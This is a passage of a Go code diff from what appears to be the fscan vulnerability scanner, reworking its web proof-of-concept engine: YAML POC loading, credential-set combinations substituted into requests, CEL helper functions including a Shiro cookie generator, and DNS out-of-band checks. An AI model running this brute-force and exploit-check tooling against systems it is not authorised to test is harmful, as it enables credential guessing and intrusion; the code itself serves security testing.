-						varpay = append(varpay, k)
-					} else {
-						varset = append(varset, k)
-					}
-					n++
-					continue
-				}
+func isFuzz(rule Rules, Sets ListMap) bool {
+	for _, one := range Sets {
+		key := one.Key
+		for _, v := range rule.Headers {
+			if strings.Contains(v, "{{"+key+"}}") {
+				return true
 			}
 		}
-
-		for _, key := range varpay {
-			v := fmt.Sprintf("%s", setMap[key])
-			for k := range p.Sets {
-				if strings.Contains(v, k) {
-					if !IsContain(varset, k) && !IsContain(varpay, k) {
-						varset = append(varset, k)
-					}
-				}
-			}
+		if strings.Contains(rule.Path, "{{"+key+"}}") {
+			return true
 		}
-		if n == 0 {
-			success, err = clustersend(oReq, variableMap, req, env, rule)
-			if err != nil {
-				return false, err
-			}
-			if success == false {
-				break
-			}
-		}
-		if len(varset) == 1 {
-		look1:
-			//	(var1 tomcat ,keys[0] username)
-			for _, var1 := range p.Sets[varset[0]] {
-				setMap := cloneMap1(setMapbak)
-				setMap[varset[0]] = var1
-				evalset(env, setMap)
-				rule1 := cloneRules(rule)
-				for k2, v2 := range rule1.Headers {
-					rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
-					for _, key := range varpay {
-						rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-					}
-				}
-				rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
-				rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
-				for _, key := range varpay {
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-				}
-				success, err = clustersend(oReq, variableMap, req, env, rule)
-				if err != nil {
-					return false, err
-				}
-
-				if success == true {
-					common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
-					break look1
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-
-		if len(varset) == 2 {
-		look2:
-			//	(var1 tomcat ,keys[0] username)
-			for _, var1 := range p.Sets[varset[0]] { //username
-				for _, var2 := range p.Sets[varset[1]] { //password
-					setMap := cloneMap1(setMapbak)
-					setMap[varset[0]] = var1
-					setMap[varset[1]] = var2
-					evalset(env, setMap)
-					rule1 := cloneRules(rule)
-					for k2, v2 := range rule1.Headers {
-						rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
-						rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
-						for _, key := range varpay {
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-						}
-					}
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
-					for _, key := range varpay {
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-					}
-					success, err = clustersend(oReq, variableMap, req, env, rule1)
-					if err != nil {
-						return false, err
-					}
-					if success == true {
-						common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
-						break look2
-					}
-				}
-			}
-			if success == false {
-				break
-			}
-		}
-
-		if len(varset) == 3 {
-		look3:
-			for _, var1 := range p.Sets[keys[0]] {
-				for _, var2 := range p.Sets[keys[1]] {
-					for _, var3 := range p.Sets[keys[2]] {
-						setMap := cloneMap1(setMapbak)
-						setMap[varset[0]] = var1
-						setMap[varset[1]] = var2
-						evalset(env, setMap)
-						rule1 := cloneRules(rule)
-						for k2, v2 := range rule1.Headers {
-							rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
-							for _, key := range varpay {
-								rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-							}
-						}
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
-						for _, key := range varpay {
-							rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-							rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
-						}
-						success, err = clustersend(oReq, variableMap, req, env, rule)
-						if err != nil {
-							return false, err
-						}
-						if success == true {
-							common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2, var3))
-							break look3
-						}
-					}
-				}
-			}
-			if success == false {
-				break
-			}
+		if strings.Contains(rule.Body, "{{"+key+"}}") {
+			return true
 		}
 	}
-	return success, nil
+	return false
+}
+
+func Combo(input ListMap) (output [][]string) {
+	if len(input) > 1 {
+		output = Combo(input[1:])
+		output = MakeData(output, input[0].Value)
+	} else {
+		for _, i := range input[0].Value {
+			output = append(output, []string{i})
+		}
+	}
+	return
+}
+
+func MakeData(base [][]string, nextData []string) (output [][]string) {
+	for i := range base {
+		for _, j := range nextData {
+			output = append(output, append([]string{j}, base[i]...))
+		}
+	}
+	return
 }
 
 func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
+	for k1, v1 := range variableMap {
+		_, isMap := v1.(map[string]string)
+		if isMap {
+			continue
+		}
+		value := fmt.Sprintf("%v", v1)
+		for k2, v2 := range rule.Headers {
+			if strings.Contains(v2, "{{"+k1+"}}") {
+				rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
+			}
+		}
+		rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
+		rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
+	}
 	if oReq.URL.Path != "" && oReq.URL.Path != "/" {
 		req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
 	} else {
@@ -619,21 +443,26 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
 	}
 	// 某些poc没有区分path和query，需要处理
 	req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
-	req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
-
-	newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
+	//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
+	//
+	newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
+	if err != nil {
+		//fmt.Println("[-] newRequest error:",err)
+		return false, err
+	}
 	newRequest.Header = oReq.Header.Clone()
 	for k, v := range rule.Headers {
 		newRequest.Header.Set(k, v)
 	}
 	resp, err := DoRequest(newRequest, rule.FollowRedirects)
+	newRequest = nil
 	if err != nil {
 		return false, err
 	}
 	variableMap["response"] = resp
 	// 先判断响应页面是否匹配search规则
 	if rule.Search != "" {
-		result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
+		result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
 		if result != nil && len(result) > 0 { // 正则匹配成功
 			for k, v := range result {
 				variableMap[k] = v
@@ -643,9 +472,11 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
 			return false, nil
 		}
 	}
-
 	out, err := Evaluate(env, rule.Expression, variableMap)
 	if err != nil {
+		if strings.Contains(err.Error(), "Syntax error") {
+			fmt.Println(rule.Expression, err)
+		}
 		return false, err
 	}
 	//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
@@ -675,65 +506,47 @@ func cloneMap(tags map[string]string) map[string]string {
 	return cloneTags
 }
 
-func cloneMap1(tags map[string]interface{}) map[string]interface{} {
-	cloneTags := make(map[string]interface{})
-	for k, v := range tags {
-		cloneTags[k] = v
+func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
+	out, err := Evaluate(env, expression, variableMap)
+	if err != nil {
+		variableMap[k] = expression
+	} else {
+		switch value := out.Value().(type) {
+		case *UrlType:
+			variableMap[k] = UrlTypeToString(value)
+		case int64:
+			variableMap[k] = int(value)
+		default:
+			variableMap[k] = fmt.Sprintf("%v", out)
+		}
 	}
-	return cloneTags
+	return err, fmt.Sprintf("%v", variableMap[k])
 }
 
-func IsContain(items []string, item string) bool {
-	for _, eachItem := range items {
-		if eachItem == item {
-			return true
-		}
-	}
-	return false
-}
-
-func evalset(env *cel.Env, variableMap map[string]interface{}) {
-	for k := range variableMap {
-		expression := fmt.Sprintf("%v", variableMap[k])
-		if !strings.Contains(k, "payload") {
-			out, err := Evaluate(env, expression, variableMap)
-			if err != nil {
-				//fmt.Println(err)
-				variableMap[k] = expression
-				continue
-			}
-			switch value := out.Value().(type) {
-			case *UrlType:
-				variableMap[k] = UrlTypeToString(value)
-			case int64:
-				variableMap[k] = fmt.Sprintf("%v", value)
-			case []uint8:
-				variableMap[k] = fmt.Sprintf("%v", out)
-			default:
-				variableMap[k] = fmt.Sprintf("%v", out)
-			}
-		}
-	}
-
-	for k := range variableMap {
-		expression := fmt.Sprintf("%v", variableMap[k])
-		if strings.Contains(k, "payload") {
-			out, err := Evaluate(env, expression, variableMap)
-			if err != nil {
-				//fmt.Println(err)
-				variableMap[k] = expression
-			} else {
-				variableMap[k] = fmt.Sprintf("%v", out)
-			}
-		}
+func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
+	out, err := Evaluate(env, expression, variableMap)
+	if err != nil {
+		variableMap[k] = expression
+	} else {
+		variableMap[k] = fmt.Sprintf("%v", out)
 	}
+	return err, fmt.Sprintf("%v", variableMap[k])
 }
 
 func CheckInfoPoc(infostr string) string {
 	for _, poc := range info.PocDatas {
-		if strings.Compare(poc.Name, infostr) == 0 {
+		if strings.Contains(infostr, poc.Name) {
 			return poc.Alias
 		}
 	}
 	return ""
 }
+
+func GetHeader(header map[string]string) (output string) {
+	for name, values := range header {
+		line := fmt.Sprintf("%s: %s\n", name, values)
+		output = output + line
+	}
+	output = output + "\r\n"
+	return
+}

WebScan/lib/client.go

@@ -3,9 +3,13 @@ package lib
 import (
 	"context"
 	"crypto/tls"
+	"embed"
 	"errors"
+	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"golang.org/x/net/proxy"
+	"gopkg.in/yaml.v2"
+	"io/ioutil"
 	"log"
 	"net"
 	"net/http"
@@ -21,9 +25,15 @@ var (
 	keepAlive        = 5 * time.Second
 )
 
-func Inithttp(PocInfo common.PocInfo) {
-	//PocInfo.Proxy = "http://127.0.0.1:8080"
-	err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
+func Inithttp() {
+	//common.Proxy = "http://127.0.0.1:8080"
+	if common.PocNum == 0 {
+		common.PocNum = 20
+	}
+	if common.WebTimeout == 0 {
+		common.WebTimeout = 5
+	}
+	err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
 	if err != nil {
 		log.Fatal(err)
 	}
@@ -42,7 +52,7 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
 		MaxIdleConns:        0,
 		MaxIdleConnsPerHost: ThreadsNum * 2,
 		IdleConnTimeout:     keepAlive,
-		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
+		TLSClientConfig:     &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
 		TLSHandshakeTimeout: 5 * time.Second,
 		DisableKeepAlives:   false,
 	}
@@ -57,7 +67,7 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
 		} else {
 			return errors.New("Failed type assertion to DialContext")
 		}
-	}else if DownProxy != "" {
+	} else if DownProxy != "" {
 		if DownProxy == "1" {
 			DownProxy = "http://127.0.0.1:8080"
 		} else if DownProxy == "2" {
@@ -65,7 +75,7 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
 		} else if !strings.Contains(DownProxy, "://") {
 			DownProxy = "http://127.0.0.1:" + DownProxy
 		}
-		if !strings.HasPrefix(DownProxy,"socks") && !strings.HasPrefix(DownProxy,"http") {
+		if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
 			return errors.New("no support this proxy")
 		}
 		u, err := url.Parse(DownProxy)
@@ -86,3 +96,166 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
 	}
 	return nil
 }
+
+type Poc struct {
+	Name   string  `yaml:"name"`
+	Set    StrMap  `yaml:"set"`
+	Sets   ListMap `yaml:"sets"`
+	Rules  []Rules `yaml:"rules"`
+	Groups RuleMap `yaml:"groups"`
+	Detail Detail  `yaml:"detail"`
+}
+
+type MapSlice = yaml.MapSlice
+
+type StrMap []StrItem
+type ListMap []ListItem
+type RuleMap []RuleItem
+
+type StrItem struct {
+	Key, Value string
+}
+
+type ListItem struct {
+	Key   string
+	Value []string
+}
+
+type RuleItem struct {
+	Key   string
+	Value []Rules
+}
+
+func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+	var tmp yaml.MapSlice
+	if err := unmarshal(&tmp); err != nil {
+		return err
+	}
+	for _, one := range tmp {
+		key, value := one.Key.(string), one.Value.(string)
+		*r = append(*r, StrItem{key, value})
+	}
+	return nil
+}
+
+//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
+//	var tmp yaml.MapSlice
+//	if err := unmarshal(&tmp); err != nil {
+//		return err
+//	}
+//	//for _,one := range tmp{
+//	//	key,value := one.Key.(string),one.Value.(string)
+//	//	*r = append(*r,StrItem{key,value})
+//	//}
+//	return nil
+//}
+
+func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+	var tmp1 yaml.MapSlice
+	if err := unmarshal(&tmp1); err != nil {
+		return err
+	}
+	var tmp = make(map[string][]Rules)
+	if err := unmarshal(&tmp); err != nil {
+		return err
+	}
+
+	for _, one := range tmp1 {
+		key := one.Key.(string)
+		value := tmp[key]
+		*r = append(*r, RuleItem{key, value})
+	}
+	return nil
+}
+
+func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+	var tmp yaml.MapSlice
+	if err := unmarshal(&tmp); err != nil {
+		return err
+	}
+	for _, one := range tmp {
+		key := one.Key.(string)
+		var value []string
+		for _, val := range one.Value.([]interface{}) {
+			v := fmt.Sprintf("%v", val)
+			value = append(value, v)
+		}
+		*r = append(*r, ListItem{key, value})
+	}
+	return nil
+}
+
+type Rules struct {
+	Method          string            `yaml:"method"`
+	Path            string            `yaml:"path"`
+	Headers         map[string]string `yaml:"headers"`
+	Body            string            `yaml:"body"`
+	Search          string            `yaml:"search"`
+	FollowRedirects bool              `yaml:"follow_redirects"`
+	Expression      string            `yaml:"expression"`
+	Continue        bool              `yaml:"continue"`
+}
+
+type Detail struct {
+	Author      string   `yaml:"author"`
+	Links       []string `yaml:"links"`
+	Description string   `yaml:"description"`
+	Version     string   `yaml:"version"`
+}
+
+func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
+	var pocs []*Poc
+	for _, f := range SelectPoc(Pocs, pocname) {
+		if p, err := LoadPoc(f, Pocs); err == nil {
+			pocs = append(pocs, p)
+		} else {
+			fmt.Println("[-] load poc ", f, " error:", err)
+		}
+	}
+	return pocs
+}
+
+func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
+	p := &Poc{}
+	yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
+
+	if err != nil {
+		fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
+		return nil, err
+	}
+	err = yaml.Unmarshal(yamlFile, p)
+	if err != nil {
+		fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
+		return nil, err
+	}
+	return p, err
+}
+
+func SelectPoc(Pocs embed.FS, pocname string) []string {
+	entries, err := Pocs.ReadDir("pocs")
+	if err != nil {
+		fmt.Println(err)
+	}
+	var foundFiles []string
+	for _, entry := range entries {
+		if strings.Contains(entry.Name(), pocname) {
+			foundFiles = append(foundFiles, entry.Name())
+		}
+	}
+	return foundFiles
+}
+
+func LoadPocbyPath(fileName string) (*Poc, error) {
+	p := &Poc{}
+	data, err := ioutil.ReadFile(fileName)
+	if err != nil {
+		fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
+		return nil, err
+	}
+	err = yaml.Unmarshal(data, p)
+	if err != nil {
+		fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
+		return nil, err
+	}
+	return p, err
+}

WebScan/lib/eval.go

@@ -5,15 +5,16 @@ import (
 	"compress/gzip"
 	"crypto/md5"
 	"encoding/base64"
+	"encoding/hex"
 	"fmt"
 	"github.com/google/cel-go/cel"
 	"github.com/google/cel-go/checker/decls"
 	"github.com/google/cel-go/common/types"
 	"github.com/google/cel-go/common/types/ref"
 	"github.com/google/cel-go/interpreter/functions"
+	"github.com/shadow1ng/fscan/common"
 	exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
 	"io"
-	"io/ioutil"
 	"math/rand"
 	"net/http"
 	"net/url"
@@ -28,6 +29,9 @@ func NewEnv(c *CustomLib) (*cel.Env, error) {
 }
 
 func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
+	if expression == "" {
+		return types.Bool(true), nil
+	}
 	ast, iss := env.Compile(expression)
 	if iss.Err() != nil {
 		//fmt.Printf("compile: ", iss.Err())
@@ -103,7 +107,7 @@ func NewEnvOption() CustomLib {
 		cel.Declarations(
 			decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
 			decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
-			//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
+			decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
 		),
 		cel.Declarations(
 			// functions
@@ -131,6 +135,10 @@ func NewEnvOption() CustomLib {
 				decls.NewOverload("randomUppercase_int",
 					[]*exprpb.Type{decls.Int},
 					decls.String)),
+			decls.NewFunction("randomString",
+				decls.NewOverload("randomString_int",
+					[]*exprpb.Type{decls.Int},
+					decls.String)),
 			decls.NewFunction("base64",
 				decls.NewOverload("base64_string",
 					[]*exprpb.Type{decls.String},
@@ -175,6 +183,26 @@ func NewEnvOption() CustomLib {
 				decls.NewInstanceOverload("icontains_string",
 					[]*exprpb.Type{decls.String, decls.String},
 					decls.Bool)),
+			decls.NewFunction("TDdate",
+				decls.NewOverload("tongda_date",
+					[]*exprpb.Type{},
+					decls.String)),
+			decls.NewFunction("shirokey",
+				decls.NewOverload("shiro_key",
+					[]*exprpb.Type{decls.String, decls.String},
+					decls.String)),
+			decls.NewFunction("startsWith",
+				decls.NewInstanceOverload("startsWith_bytes",
+					[]*exprpb.Type{decls.Bytes, decls.Bytes},
+					decls.Bool)),
+			decls.NewFunction("istartsWith",
+				decls.NewInstanceOverload("startsWith_string",
+					[]*exprpb.Type{decls.String, decls.String},
+					decls.Bool)),
+			decls.NewFunction("hexdecode",
+				decls.NewInstanceOverload("hexdecode",
+					[]*exprpb.Type{decls.String},
+					decls.Bytes)),
 		),
 	}
 	c.programOptions = []cel.ProgramOption{
@@ -256,6 +284,16 @@ func NewEnvOption() CustomLib {
 					return types.String(randomUppercase(int(n)))
 				},
 			},
+			&functions.Overload{
+				Operator: "randomString_int",
+				Unary: func(value ref.Val) ref.Val {
+					n, ok := value.(types.Int)
+					if !ok {
+						return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
+					}
+					return types.String(randomString(int(n)))
+				},
+			},
 			&functions.Overload{
 				Operator: "base64_string",
 				Unary: func(value ref.Val) ref.Val {
@@ -407,6 +445,75 @@ func NewEnvOption() CustomLib {
 					return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
 				},
 			},
+			&functions.Overload{
+				Operator: "tongda_date",
+				Function: func(value ...ref.Val) ref.Val {
+					return types.String(time.Now().Format("0601"))
+				},
+			},
+			&functions.Overload{
+				Operator: "shiro_key",
+				Binary: func(key ref.Val, mode ref.Val) ref.Val {
+					v1, ok := key.(types.String)
+					if !ok {
+						return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
+					}
+					v2, ok := mode.(types.String)
+					if !ok {
+						return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
+					}
+					cookie := GetShrioCookie(string(v1), string(v2))
+					if cookie == "" {
+						return types.NewErr("%v", "key b64decode failed")
+					}
+					return types.String(cookie)
+				},
+			},
+			&functions.Overload{
+				Operator: "startsWith_bytes",
+				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+					v1, ok := lhs.(types.Bytes)
+					if !ok {
+						return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
+					}
+					v2, ok := rhs.(types.Bytes)
+					if !ok {
+						return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
+					}
+					// 不区分大小写包含
+					return types.Bool(bytes.HasPrefix(v1, v2))
+				},
+			},
+			&functions.Overload{
+				Operator: "startsWith_string",
+				Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+					v1, ok := lhs.(types.String)
+					if !ok {
+						return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
+					}
+					v2, ok := rhs.(types.String)
+					if !ok {
+						return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
+					}
+					// 不区分大小写包含
+					return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
+				},
+			},
+			&functions.Overload{
+				Operator: "hexdecode",
+				Unary: func(lhs ref.Val) ref.Val {
+					v1, ok := lhs.(types.String)
+					if !ok {
+						return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
+					}
+					out, err := hex.DecodeString(string(v1))
+					if err != nil {
+						return types.ValOrErr(lhs, "hexdecode error: %v", err)
+					}
+					// 不区分大小写包含
+					return types.Bytes(out)
+				},
+			},
 		),
 	}
 	return c
@@ -421,8 +528,9 @@ func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
 	return c.programOptions
 }
 
-func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
-	for k, v := range args {
+func (c *CustomLib) UpdateCompileOptions(args StrMap) {
+	for _, item := range args {
+		k, v := item.Key, item.Value
 		// 在执行之前是不知道变量的类型的，所以统一声明为字符型
 		// 所以randomInt虽然返回的是int型，在运算中却被当作字符型进行计算，需要重载string_*_string
 		var d *exprpb.Decl
@@ -445,18 +553,23 @@ func randomLowercase(n int) string {
 }
 
 func randomUppercase(n int) string {
-	lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
-	return RandomStr(randSource, lowercase, n)
+	uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+	return RandomStr(randSource, uppercase, n)
+}
+
+func randomString(n int) string {
+	charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+	return RandomStr(randSource, charset, n)
 }
 
 func reverseCheck(r *Reverse, timeout int64) bool {
-	if ceyeApi == "" || r.Domain == "" {
+	if ceyeApi == "" || r.Domain == "" || !common.DnsLog {
 		return false
 	}
 	time.Sleep(time.Second * time.Duration(timeout))
 	sub := strings.Split(r.Domain, ".")[0]
 	urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
-	fmt.Println(urlStr)
+	//fmt.Println(urlStr)
 	req, _ := http.NewRequest("GET", urlStr, nil)
 	resp, err := DoRequest(req, false)
 	if err != nil {
@@ -464,6 +577,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
 	}
 
 	if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
+		fmt.Println(urlStr)
 		return true
 	}
 	return false
@@ -499,7 +613,6 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
 			req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
 		}
 	}
-
 	var oResp *http.Response
 	var err error
 	if redirect {
@@ -508,12 +621,14 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
 		oResp, err = ClientNoRedirect.Do(req)
 	}
 	if err != nil {
+		//fmt.Println("[-]DoRequest error: ",err)
 		return nil, err
 	}
 	defer oResp.Body.Close()
 	resp, err := ParseResponse(oResp)
 	if err != nil {
-		return nil, err
+		common.LogError("[-] ParseResponse error: " + err.Error())
+		//return nil, err
 	}
 	return resp, err
 }
@@ -542,12 +657,12 @@ func ParseRequest(oReq *http.Request) (*Request, error) {
 	req.ContentType = oReq.Header.Get("Content-Type")
 	if oReq.Body == nil || oReq.Body == http.NoBody {
 	} else {
-		data, err := ioutil.ReadAll(oReq.Body)
+		data, err := io.ReadAll(oReq.Body)
 		if err != nil {
 			return nil, err
 		}
 		req.Body = data
-		oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
+		oReq.Body = io.NopCloser(bytes.NewBuffer(data))
 	}
 	return req, nil
 }
@@ -562,41 +677,21 @@ func ParseResponse(oResp *http.Response) (*Response, error) {
 	}
 	resp.Headers = header
 	resp.ContentType = oResp.Header.Get("Content-Type")
-	body, err := getRespBody(oResp)
-	if err != nil {
-		return nil, err
-	}
+	body, _ := getRespBody(oResp)
 	resp.Body = body
 	return &resp, nil
 }
 
-func getRespBody(oResp *http.Response) ([]byte, error) {
-	var body []byte
-	if oResp.Header.Get("Content-Encoding") == "gzip" {
-		gr, err := gzip.NewReader(oResp.Body)
-		if err != nil {
-			return nil, err
+func getRespBody(oResp *http.Response) (body []byte, err error) {
+	body, err = io.ReadAll(oResp.Body)
+	if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
+		reader, err1 := gzip.NewReader(bytes.NewReader(body))
+		if err1 == nil {
+			body, err = io.ReadAll(reader)
 		}
-		defer gr.Close()
-		for {
-			buf := make([]byte, 1024)
-			n, err := gr.Read(buf)
-			if err != nil && err != io.EOF {
-				//utils.Logger.Error(err)
-				return nil, err
-			}
-			if n == 0 {
-				break
-			}
-			body = append(body, buf...)
-		}
-	} else {
-		raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, int64(5<<20)))
-		if err != nil {
-			return nil, err
-		}
-		defer oResp.Body.Close()
-		body = raw
 	}
-	return body, nil
+	if err == io.EOF {
+		err = nil
+	}
+	return
 }

WebScan/lib/http.pb.go

@@ -1,441 +1,520 @@
+//go:generate protoc --go_out=. http.proto
+
 // Code generated by protoc-gen-go. DO NOT EDIT.
+// versions:
+// 	protoc-gen-go v1.26.0
+// 	protoc        v3.20.3
 // source: http.proto
 
 package lib
 
 import (
-	"embed"
-	"fmt"
-	"github.com/golang/protobuf/proto"
-	"gopkg.in/yaml.v3"
-	"io/ioutil"
-	"math"
-	"strings"
+	protoreflect "google.golang.org/protobuf/reflect/protoreflect"
+	protoimpl "google.golang.org/protobuf/runtime/protoimpl"
+	reflect "reflect"
+	sync "sync"
 )
 
-type Poc struct {
-	Name   string              `yaml:"name"`
-	Set    map[string]string   `yaml:"set"`
-	Sets   map[string][]string `yaml:"sets"`
-	Rules  []Rules             `yaml:"rules"`
-	Groups map[string][]Rules  `yaml:"groups"`
-	Detail Detail              `yaml:"detail"`
-}
-
-type Rules struct {
-	Method          string            `yaml:"method"`
-	Path            string            `yaml:"path"`
-	Headers         map[string]string `yaml:"headers"`
-	Body            string            `yaml:"body"`
-	Search          string            `yaml:"search"`
-	FollowRedirects bool              `yaml:"follow_redirects"`
-	Expression      string            `yaml:"expression"`
-}
-
-type Detail struct {
-	Author      string   `yaml:"author"`
-	Links       []string `yaml:"links"`
-	Description string   `yaml:"description"`
-	Version     string   `yaml:"version"`
-}
-
-// Reference imports to suppress errors if they are not otherwise used.
-var _ = proto.Marshal
-var _ = fmt.Errorf
-var _ = math.Inf
-
-// This is a compile-time assertion to ensure that this generated file
